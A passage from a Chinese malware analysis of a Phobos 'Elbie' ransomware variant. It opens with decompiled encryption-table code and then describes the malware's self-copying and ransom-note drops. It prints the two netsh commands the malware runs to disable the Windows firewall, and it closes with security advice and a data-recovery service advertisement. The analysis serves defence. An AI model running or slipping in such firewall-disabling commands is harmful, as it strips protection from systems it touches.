&nbsp;&nbsp;&nbsp;&nbsp;v13&nbsp;=&nbsp;(unsigned&nbsp;__int8)((2&nbsp;*&nbsp;v12)&nbsp;^&nbsp;((char)(byte_40B448[v11]&nbsp;&&nbsp;0x80)&nbsp;!=&nbsp;0&nbsp;?&nbsp;0x1B&nbsp;:&nbsp;0))&nbsp;^&nbsp;((v12&nbsp;^&nbsp;((v12&nbsp;^&nbsp;((v12&nbsp;^&nbsp;(unsigned&nbsp;__int8)((2&nbsp;*&nbsp;v12)&nbsp;^&nbsp;((char)(byte_40B448[v11]&nbsp;&&nbsp;0x80)&nbsp;!=&nbsp;0&nbsp;?&nbsp;0x1B&nbsp;:&nbsp;0)))&nbsp;<<&nbsp;8))&nbsp;<<&nbsp;8))&nbsp;<<&nbsp;8);
&nbsp;&nbsp;&nbsp;&nbsp;v14&nbsp;=&nbsp;v11;
&nbsp;&nbsp;&nbsp;&nbsp;dword_40D170[v11]&nbsp;=&nbsp;v13;
&nbsp;&nbsp;&nbsp;&nbsp;v15&nbsp;=&nbsp;__ROL4__(v13,&nbsp;8);
&nbsp;&nbsp;&nbsp;&nbsp;dword_40CD70[v11]&nbsp;=&nbsp;v15;
&nbsp;&nbsp;&nbsp;&nbsp;v16&nbsp;=&nbsp;__ROL4__(v15,&nbsp;8);
&nbsp;&nbsp;&nbsp;&nbsp;dword_40C970[v11]&nbsp;=&nbsp;v16;
&nbsp;&nbsp;&nbsp;&nbsp;dword_40C570[v11]&nbsp;=&nbsp;__ROL4__(v16,&nbsp;8);
&nbsp;&nbsp;&nbsp;&nbsp;if&nbsp;(&nbsp;byte_40D570[v11]&nbsp;)
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;v30&nbsp;=&nbsp;v22[(v27&nbsp;+&nbsp;*(_DWORD&nbsp;*)&v23[4&nbsp;*&nbsp;(unsigned&nbsp;__int8)byte_40D570[v11]&nbsp;+&nbsp;4])&nbsp;%&nbsp;255];
&nbsp;&nbsp;&nbsp;&nbsp;else
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;v30&nbsp;=&nbsp;0;
&nbsp;&nbsp;&nbsp;&nbsp;if&nbsp;(&nbsp;byte_40D570[v11]&nbsp;)
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;v28&nbsp;=&nbsp;v22[(v24&nbsp;+&nbsp;*(_DWORD&nbsp;*)&v23[4&nbsp;*&nbsp;(unsigned&nbsp;__int8)byte_40D570[v11]&nbsp;+&nbsp;4])&nbsp;%&nbsp;255];
&nbsp;&nbsp;&nbsp;&nbsp;else
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;v28&nbsp;=&nbsp;0;
&nbsp;&nbsp;&nbsp;&nbsp;if&nbsp;(&nbsp;byte_40D570[v11]&nbsp;)
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;v29&nbsp;=&nbsp;v22[(v26&nbsp;+&nbsp;*(_DWORD&nbsp;*)&v23[4&nbsp;*&nbsp;(unsigned&nbsp;__int8)byte_40D570[v11]&nbsp;+&nbsp;4])&nbsp;%&nbsp;255];
&nbsp;&nbsp;&nbsp;&nbsp;else
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;v29&nbsp;=&nbsp;0;
&nbsp;&nbsp;&nbsp;&nbsp;if&nbsp;(&nbsp;byte_40D570[v11]&nbsp;)
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;v17&nbsp;=&nbsp;v22[(v25&nbsp;+&nbsp;*(_DWORD&nbsp;*)&v23[4&nbsp;*&nbsp;(unsigned&nbsp;__int8)byte_40D570[v11]&nbsp;+&nbsp;4])&nbsp;%&nbsp;255];
&nbsp;&nbsp;&nbsp;&nbsp;else
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;v17&nbsp;=&nbsp;0;
&nbsp;&nbsp;&nbsp;&nbsp;v18&nbsp;=&nbsp;v30&nbsp;^&nbsp;((v28&nbsp;^&nbsp;((v29&nbsp;^&nbsp;(v17&nbsp;<<&nbsp;8))&nbsp;<<&nbsp;8))&nbsp;<<&nbsp;8);
&nbsp;&nbsp;&nbsp;&nbsp;++v11;
&nbsp;&nbsp;&nbsp;&nbsp;dword_40C170[v14]&nbsp;=&nbsp;v18;
&nbsp;&nbsp;&nbsp;&nbsp;v19&nbsp;=&nbsp;__ROL4__(v18,&nbsp;8);
&nbsp;&nbsp;&nbsp;&nbsp;dword_40BD70[v14]&nbsp;=&nbsp;v19;
&nbsp;&nbsp;&nbsp;&nbsp;v20&nbsp;=&nbsp;__ROL4__(v19,&nbsp;8);
&nbsp;&nbsp;&nbsp;&nbsp;dword_40B948[v14]&nbsp;=&nbsp;v20;
&nbsp;&nbsp;&nbsp;&nbsp;result&nbsp;=&nbsp;__ROL4__(v20,&nbsp;8);
&nbsp;&nbsp;&nbsp;&nbsp;dword_40B548[v14]&nbsp;=&nbsp;result;
&nbsp;&nbsp;}
&nbsp;&nbsp;while&nbsp;(&nbsp;v11&nbsp;<&nbsp;256&nbsp;);
&nbsp;&nbsp;return&nbsp;result;
}

5.其余行为

5.1自拷贝

    程序会将自身拷贝到系统关键目录。

5.2文件释放

    释放了2个文件info.txt和info.hta，均为勒索信息。

5.3关闭防火墙

    执行了下列2个语句。

netsh  advfirewall set currentprofile state off
netsh  firewall set opmode mode=disable

6.安全建议

#

6.1 风险消减措施

资产梳理排查目标:根据实际情况，对内外网资产进行分时期排查

服务方式:调研访谈、现场勘查、工具扫描

服务关键内容：流量威胁监测系统排查、互联网暴露面扫描服务、技术加固服务、集权系统排查

6.2 安全设备调优

#

目标

通过对安全现状的梳理和分析，识别安全策略上的不足，结合目标防御、权限最小化、缩小攻击面等一系列参考原则，对设备的相关配置策略进行改进调优，一方面，减低无效或低效规则的出现频次；另一方面，对缺失或遗漏的规则进行补充，实现将安全设备防护能力最优化。

主要目标设备

网络安全防护设备、系统防护软件、日志审计与分析设备、安全监测与入侵识别设备。

6.3 全员安全意识增强调优

目标：

通过网络安全意识宣贯、培训提升全方位安全能力

形式：

培训及宣贯

线下培训课表

若无法组织线下的集体培训，考虑两种方式:

1.提供相关的安全意识培训材料，由上而下分发学习

2.组织相关人员线上开会学习。线上培训模式。

线上学习平台

7.团队介绍

团队坚持自主研发及创新，在攻防演练平台、网络安全竞赛平台、网络安全学习平台方面加大研发投入，目前已获得十几项专利及知识产权。团队也先后通过了ISO9001质量管理体系、ISO14000环境管理体系、ISO45001职业安全健康管理体系 、ITSS（信息技术服务运行维护标准四级）等认证，已构建了网络安全行业合格的资质体系；

8.我们的数据恢复服务流程

多年的数据恢复处理经验，在不断对客户服务优化的过程中搭建了”免费售前+安心保障+专业恢复+安全防御”一体化的专业服务流程。

① 免费咨询/数据诊断分析

       专业的售前技术顾问服务，免费在线咨询，可第一时间获取数据中毒后的正确处理措施，防范勒索病毒在内网进一步扩散或二次执行，避免错误操作导致数据无法恢复。

       售前技术顾问沟通了解客户的机器中毒相关信息，结合团队数据恢复案例库的相同案例进行分析评估，初步诊断分析中毒数据的加密/损坏情况。

② 评估报价/数据恢复方案

       您获取售前顾问的初步诊断评估信息后，若同意进行进一步深入的数据恢复诊断，我们将立即安排专业病毒分析工程师及数据恢复工程师进行病毒逆向分析及数据恢复检测分析。

       专业数据恢复工程师根据数据检测分析结果，定制数据恢复方案（恢复价格/恢复率/恢复工期），并为您解答数据恢复方案的相关疑问。

③ 确认下单/签订合同

       您清楚了解数据恢复方案后，您可自主选择以下下单方式：

双方签署对公合同：根据中毒数据分析情况，量身定制输出数据恢复合同，合同内明确客户的数据恢复内容、数据恢复率、恢复工期及双方权责条款，双方合同签订，正式进入数据恢复专业施工阶段，数据恢复后进行验证确认，数据验证无误，交易完成。

④ 开始数据恢复专业施工

      安排专业数据恢复工程师团队全程服务，告知客户数据恢复过程注意事项及相关方案措施，并可根据客户需求及数据情况，可选择上门恢复/远程恢复。

      数据恢复过程中，团队随时向您报告数据恢复每一个节点工作进展（数据扫描 → 数据检测 → 数据确认 → 恢复工具定制 → 执行数据恢复 → 数据完整性确认）。

⑤ 数据验收/安全防御方案

      完成数据恢复后，我司将安排数据分析工程师进行二次检查确认数据恢复完整性，充分保障客户的数据恢复权益，二次检测确认后，通知客户进行数据验证。

      客户对数据进行数据验证完成后，我司将指导后续相关注意事项及安全防范措施，并可提供专业的企业安全防范建设方案及安全顾问服务，抵御勒索病毒再次入侵。

点击关注下方名片进入公众号 了解更多

喜欢此内容的人还喜欢

【成功案例】某集团公司的Phobos最新变种勒索病毒jopanaxye解密恢复项目

索勒安全团队

【成功案例】解决浙江xx电子有限公司的勒索病毒

索勒安全团队

【病毒分析】交了赎金也无法恢复–针对国内某知名NAS的LVT勒索病毒最新分析

#

索勒安全团队

免责声明：

本文所载程序、技术方法仅面向合法合规的安全研究与教学场景，旨在提升网络安全防护能力，具有明确的技术研究属性。

任何单位或个人未经授权，将本文内容用于攻击、破坏等非法用途的，由此引发的全部法律责任、民事赔偿及连带责任，均由行为人独立承担，本站不承担任何连带责任。

本站内容均为技术交流与知识分享目的发布，若存在版权侵权或其他异议，请通过邮件联系处理，具体联系方式可点击页面上方的联系我。

本文转载自：solar应急响应团队 索勒安全团队《【病毒分析】phobos家族Elbie变种加密器分析报告》